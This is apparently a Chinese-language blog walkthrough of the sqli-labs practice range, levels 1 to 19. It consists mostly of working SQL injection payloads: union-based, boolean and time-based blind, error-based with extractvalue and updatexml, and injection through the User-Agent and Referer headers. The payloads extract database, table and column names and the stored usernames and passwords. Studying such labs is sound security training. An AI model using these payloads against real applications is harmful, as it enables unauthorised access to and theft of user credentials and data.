sql-lib靶场二刷

sql-lib靶场二刷

WL Lv3

本章更新sqllib靶场的速通教程(二刷)

Less-1

?id=1有回显

image-20250526171358385

?id=2-1有回显,但是不是id=1时的账号密码,说明不是整型,是字符型注入

image-20250526171709451

?id=1’,无回显但是?id=1’ –+有回显

image-20250526171635721

联合注入判断列数

?id=1’order by 3 –+

?id=1’order by 4 –+开始报错,说明一共只有三列

image-20250526172300172

爆出回显位

?id=-1’union select 1,2,3–+

image-20250526172212652

爆库名

?id=-1’union select 1,database(),3–+

image-20250526172348558

爆表名

?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

image-20250526172521468

爆列名

?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

image-20250526172658346

爆字段

?id=-1’ union select 1,2,group_concat(username ,”/“ , password) from users–+

image-20250526172751333

Less-2

?id=1’

?id=1”均报错

?id=1和?id=2-1输出结果一样,说明时数字型注入

image-20250526173010202

流程跟less-1一样

1
2
3
4
5
6
?id=1 order by 3 --+ 		#判别列数
?id=-1 union select 1,2,3 --+ #判断回显位
?id=-1 union select 1,database(),3 --+ #爆库名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ #爆表名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ #爆列名
?id=-1 union select 1,2,group_concat(username ,"/" , password) from users --+ #爆字段

Less-3

输入?id=1和?id=2-1不一样,字符型注入

输入?id=1’报错,?id=1’‘,不报错

但是输入?id=1’ and 1=1 –+ 还是报错,说明不是简单的字符型单引号注入

输入?id=1’) and 1=1 –+ 成功回显,说明是(‘’)型接受id参数

image-20250526225330461

接下来构造payload就行了

1
2
3
4
5
6
?id=1') order by 3--+  #判列数
?id=-1') union select 1,2,3--+ #判回显位
?id=-1') union select 1,database(),3--+ #爆库名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆表名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆列名
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+ #爆字段

image-20250526230043371

Less-4

?id=1和?id=2-1结果不一样,字符型注入

?id=1’

?id=1’’

?id=1’’’ 三个都有回显,说明不是单引号注入

?id=1”报错,?id=1””有回显

?id=1” and 1=1 –+依旧报错,说明不是简单的双引号注入

?id=1”) and 1=1 –+正常回显,说明是(“ “)型注入

payload

1
2
3
4
5
6
7
?id=1") order by 3--+ #爆列数
?id=-1") union select 1,2,3--+ #爆回显位
?id=-1") union select 1,database(),3--+ #爆库名
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名
?id=-1") union select 1,2,group_concat(username ,'/', password) from users--+ #爆字段

image-20250526231522962

Less-5

?id=1无回显,但是也没报错

?id=1’报错,?id=1’’不报错

?id=1’ and 1=1 不报错,说明是单引号型字符注入,因为不回显我们想要的信息,所以采用布尔盲注

image-20250526231709030

image-20250526231737598

?id=1’and length((select database()))>9–+

可以看到,数据库名的长度在>是对的,但是>8就不对,说明库名长度就是8

image-20250526232019901

image-20250526232048482

接下来一个字母一个字母的爆出数据库名

?id=1’and ascii(substr((select database()),1,1))=115–+

而115在ascii值里代表着s

接下来分别爆出后面的ascii值,最后拼起来是security

1
2
3
4
5
6
7
?id=1'and ascii(substr((select database()),2,1))=101--+  #e

?id=1'and ascii(substr((select database()),3,1))=99--+ #c

?id=1'and ascii(substr((select database()),4,1))=117--+ #u

.......

image-20250526232349127

接着爆表名

1
2
3
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+  #爆表名字符长度

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值

爆出来users表,接着爆列名

1
2
3
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))>99--+	#爆列名字符长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值

爆出来username和password这两个列名,最后爆字段

1
2
3
?id=1' and length((select group_concat(username,password) from users))>109--+ #爆这两个字段的长度,其实不是很重要

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值

布尔盲注比较麻烦,可以用burp逐个字符爆破

Less-6

?id=1’不报错,?id=1’’不报错

?id=1”报错,?id=1””不报错

说明是双引号的无回显注入,与第五关payload基本一致,再次略过

image-20250526234535216

payload:

1
2
3
4
5
6
7
?id=1" and ascii(substr((select database()),1,1))=115--+ #爆库名

?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值

?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值

?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值

Less-7

?id=1’报错,?id=1’’不报错

?id=1’ and 1=1 –+报错,说明不是简单的单引号注入

?id=1”不报错,不是简单的双引号注入

?id=1’) and 1=1–+报错,但是?id=1’)) and 1=1 –+不报错了,说明是((‘ ‘))型,payload依旧可以和第5、6关一样,不过前面改成?id=-1’))

image-20250526235456092

payload

1
2
3
4
5
6
7
?id=1')) and ascii(substr((select database()),1,1))=115--+ #爆库名

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值

?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值

Less-8

?id=1正常回显了You are in

?id=1’不回显了,?id=1’’再次回显

?id=1’ and 1=1 –+再次回显

说明这是一个简单的单引号型注入,依旧是布尔盲注

payload跟第五关一模一样,偷个懒不写了~

image-20250527000235457

image-20250527000310237

image-20250527000349558

Less-9

第九关不管输入啥都回显You are in

尝试时间盲注,方便观察,用burp抓包试试

正常回显时间是35毫秒

image-20250527001126452

?id=1’ and if(1,sleep(5),1)–+

发现回显明时间显慢了五秒,说明是单引号字符型注入

image-20250527001437717

之后就是无聊的编写payload,利用sleep函数的响应速度快慢去爆破库名,表名,列名和字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?id=1'and if(length((select database()))>9,sleep(5),1)--+	#判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ #逐一判断数据库字符
#爆出来数据库名为security
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ #判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ #逐一判断表名
#爆出来表名users
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ #判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ #逐一判断所有的列名的值。
#爆出来列名username和password
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ #判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ #逐一爆破字段值

Less-10

依旧是不管输入啥都回显You are in………..

时间盲注测试

?id=1” and if(1,sleep(3),1) –+

那么就是双引号类型的时间盲注类型,跟第9关一样

image-20250527002815195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?id=1"and if(length((select database()))>9,sleep(5),1)--+	#判断数据库名长度

?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ #逐一判断数据库字符
#爆出来数据库名为security
?id=1"and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ #判断所有表名长度

?id=1"and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ #逐一判断表名
#爆出来表名users
?id=1"and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ #判断所有字段名的长度

?id=1"and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ #逐一判断所有的列名的值。
#爆出来列名username和password
?id=1"and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ #判断字段内容长度

?id=1"and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ #逐一爆破字段值

Less-11

11关开始来到了输入框,也就是意味着输入参数从get类型转入了post类型,可以直接抓包去burp里做了,post类型不需要进行url编码

image-20250527003055954

因为我们一开始并不知道数据库里面的账号和密码,那and就显得不太好用了,在这里利用or构成永真试试

uname=a’ or 1=1 –+显示登陆成功

uname=a’ or 1=2 –+显示登陆失败

说明uname参数存在单引号的注入,那么又回到了单引号注入的payload,在第一关中就有

image-20250527003706596

image-20250527003745937

Less-12

uname=a’ or 1=1 –+ 登陆失败

uname=a“ or 1=1 –+ 报错,说明存在双引号的注入,但不确定

但是uname=a“ or 1=2 –+ 依旧报错,说明不是简单的双引号注入

uname=a“) or 1=1 –+ 成功登陆

uname=a“) or 1=2 –+ 登陆失败,说明这里存在的注入类型是”)

image-20250527004201527

image-20250527004834294

image-20250527004847649

pauload

1
2
3
4
5
6
7
uname=a") order by 2--+ #爆列数
uname=a") union select 1,2--+ #爆回显位
uname=a") union select 1,database()--+ #爆库名
uname=a") union select 1,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名
uname=a") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名
uname=a") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名
uname=a") union select 1,group_concat(username ,'/', password) from users--+ #爆字段

image-20250527005351139

Less-13

uname=a’ 报错

uname=a’ or 1=1 –+也报错,说明不是简单的单引号注入

?id=a’) or 1=1 –+ 成功登陆,那么注入类型就是’)

image-20250527005850369

1
2
3
4
5
6
7
uname=a') order by 2--+ #爆列数
uname=a') union select 1,2--+ #爆回显位
uname=a') union select 1,database()--+ #爆库名
uname=a') union select 1,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名
uname=a') union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名
uname=a') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名
uname=a') union select 1,group_concat(username ,'/', password) from users--+ #爆字段

Less-14

uname=a” or 1=1 –+成功登陆

uname=a” or 1=2 –+登陆失败

那么注入类型就是双引号

image-20250527010220111

但是发现不回显数据,利用报错注入,这关既可以用extractavalue,也可以用updatexml报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
############################用extractavalue报错注入
uname=a" and(extractvalue(1,concat(0x5c,(select database())))) --+ #爆库名

uname=a" and(extractvalue(1,concat(0x5c,(select group_concat(schema_name) from information_schema.schemata)))) --+ #爆所有库名

uname=a" and(extractvalue(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema='security')))) --+ #爆表名

uname=a" and(extractvalue(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security')))) --+ #爆列名

uname=a" and(extractvalue(1,concat(0x5c,(select group_concat(username,'/',password)from users)))) --+ #爆出字段名

############################用updatexml报错注入
uname=a" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #爆库名

uname=a" and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+ #爆所有库名

uname=a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ #爆表名

uname=a" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+ #爆列名

uname=a" and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+ #爆字段

image-20250527124537811

image-20250527125143553

image-20250527125240498

Less-15

第十五关依旧是不回显信息,但是登陆成功还是失败是可以看出来的

uname=a’ or 1=1 –+ 登陆成功

uname=a’ or 1=2 –+ 登陆失败

说明这关是简单的单引号注入,不过没有回显数据,也没有报错

image-20250527130527895

用布尔盲注,经过测试 admin确实是数据库中已存在的一个用户名,那么就可以用and来拼接了,用or太危险,一不小心容易造成删库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uname=admin'and if(length((select database()))>8,sleep(2),1)--+	#判断数据库名长度

uname=admin'and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+ #逐一判断数据库字符
#爆出来数据库名为security
uname=admin'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(2),1)--+ #判断所有表名长度

uname=admin'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(2),1)--+ #逐一判断表名
#爆出来表名users
uname=admin'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(2),1)--+ #判断所有字段名的长度

uname=admin'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(2),1)--+ #逐一判断所有的列名的值。

#爆出来列名username和password
uname=admin'and if(length((select group_concat(username,password) from users))>109,sleep(2),1)--+ #判断字段内容长度

uname=admin'and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(2),1)--+ #逐一爆破字段值

Less-16

uname=a”) or 1=1 –+登陆成功

uname=a”) or 1=2 –+登陆失败

说明是”)型注入,而且无报错,无回显的”)注入,依旧用时间盲注+布尔盲注

image-20250527132428583

image-20250527132418715

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uname=admin")and if(length((select database()))>8,sleep(2),1)--+	#判断数据库名长度

uname=admin")and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+ #逐一判断数据库字符
#爆出来数据库名为security
uname=admin")and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(2),1)--+ #判断所有表名长度

uname=admin")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(2),1)--+ #逐一判断表名
#爆出来表名users
uname=admin")and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(2),1)--+ #判断所有字段名的长度

uname=admin")and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(2),1)--+ #逐一判断所有的列名的值。

#爆出来列名username和password
uname=admin")and if(length((select group_concat(username,password) from users))>109,sleep(2),1)--+ #判断字段内容长度

uname=admin")and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(2),1)--+ #逐一爆破字段值

Less-17

这一关与之前的不太一样,输入username和newpassword之后,后台会进行两次查询,第一次是查询username是否存在,第二次就是替换原来的密码为我们输入的新的密码,因此我们还要保证username的正确,才能在newpassword里插入sql注入语句

image-20250527153657271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uname=admin&passwd=123' 报错

uname=admin&passwd=123不报错

uname=admin&passwd=123' and 1=1--+ 不报错,说明存在passwd的单引号注入

通过测试发现没有回显列,但是因为有报错这种情况发生,考虑报错注入

uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select database()))))--+ #爆库名

uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+ #爆表名

uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))))--+ #爆列名

uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select group_concat(username,'/',password) from users))))--+ #爆字段
#最后这个注入语句可能回报错,因为我们在查询users表的时候也正在更新新的密码,对于mysql数据库而言,是无法对一张表同时进行查询和更新的,因此报错也是正常的

image-20250527154752018

image-20250527154853157

image-20250527155104830

Less-18

第18关先看一下源码,有点复杂,源码中是对输入的uname和passwd过滤了的,不能单单从这两个参数进行注入了,而且我们必须要输入正确的uname和passwd,注意去17关把密码改成123456

image-20250527161019866

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这里插入了ua头,ip,和uname,那么就可以考虑闭合ua头的单引号来进行注入,但是又不能影响最后拼接城的insert变量的格式

拼接一下大题格式就是 1‘,1,1)–+

在ua头里可以注入:

1
2
3
4
5
6
7
1',1,updatexml(1,concat(0x5e,database()),1))#		#爆库名

1',1,updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1))# #爆表名

1',1,updatexml (1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x5c),1))# #爆列名

1',1,updatexml (1,concat(0x5c,(select group_concat(username,'/',password) from users),0x5c),1))# #爆字段

image-20250527162633573

image-20250527163639597

Less-19

输入正确的uname和passwd,回显了referer,burp抓包尝试在referer注入

image-20250527165216685

输入1’发现报错,1’‘不报错了

payload

1
2
3
4
5
6
7
1',updatexml (1,concat(0x5c,(datavase()),0x5c),1))#  #爆库名

1',updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1))# #爆表

1',updatexml (1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1))# #爆列名

1',updatexml (1,concat(0x5c,(select group_concat(username,'/',password) from users),0x5c),1))# #爆字段

image-20250527165338218

image-20250527165946627

  • Title: sql-lib靶场二刷
  • Author: WL
  • Created at : 2025-05-26 17:03:06
  • Updated at : 2025-05-27 19:13:54
  • Link: https://redefine.ohevan.com/2025/05/26/sqllib二刷/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments